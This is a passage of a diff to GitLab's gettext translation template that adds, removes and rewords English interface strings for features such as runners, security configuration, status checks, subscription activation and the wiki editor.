@@ -25981,9 +26479,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26731,9 +27226,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26743,6 +27235,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26842,7 +27337,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27076,9 +27571,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27094,6 +27586,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28045,6 +28540,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28633,16 +29140,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28657,6 +29173,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28669,6 +29188,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28681,10 +29203,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28693,6 +29215,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28747,6 +29272,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28765,9 +29293,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28789,9 +29314,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28960,6 +29482,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29026,6 +29551,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29260,6 +29788,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29413,9 +29944,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29650,9 +30178,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29893,6 +30418,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29986,6 +30517,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30223,6 +30757,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30529,6 +31066,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30544,10 +31084,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30769,18 +31312,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30814,9 +31396,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30871,6 +31450,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30976,6 +31558,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31087,6 +31672,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31111,6 +31699,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31222,42 +31813,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31267,18 +31909,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31297,6 +31969,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31519,6 +32194,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31675,9 +32353,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31819,6 +32494,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31849,7 +32527,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31873,6 +32551,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32065,6 +32746,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32110,6 +32794,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32128,9 +32815,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32434,9 +33118,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32503,12 +33184,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32536,6 +33211,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32599,9 +33277,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32644,9 +33319,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32770,7 +33442,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32872,9 +33547,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33208,6 +33880,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33250,9 +33925,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33277,6 +33949,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33328,9 +34003,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33361,12 +34033,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33376,6 +34042,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33427,6 +34096,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33604,9 +34276,6 @@ msgstr[2] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33721,9 +34390,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33841,13 +34507,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33877,9 +34543,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34078,6 +34741,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34303,6 +34969,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34546,6 +35215,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34705,6 +35377,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35026,6 +35701,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35035,6 +35713,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35143,27 +35824,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35296,6 +35995,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35317,6 +36019,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35428,6 +36133,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35995,15 +36703,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36043,9 +36751,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36073,16 +36778,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36115,9 +36820,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36361,6 +37063,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36469,6 +37174,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36487,12 +37198,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36502,6 +37219,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36523,9 +37246,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36694,6 +37414,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36898,6 +37621,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37009,9 +37735,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37294,10 +38026,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37336,6 +38068,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37366,9 +38101,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37567,9 +38299,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37906,6 +38635,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
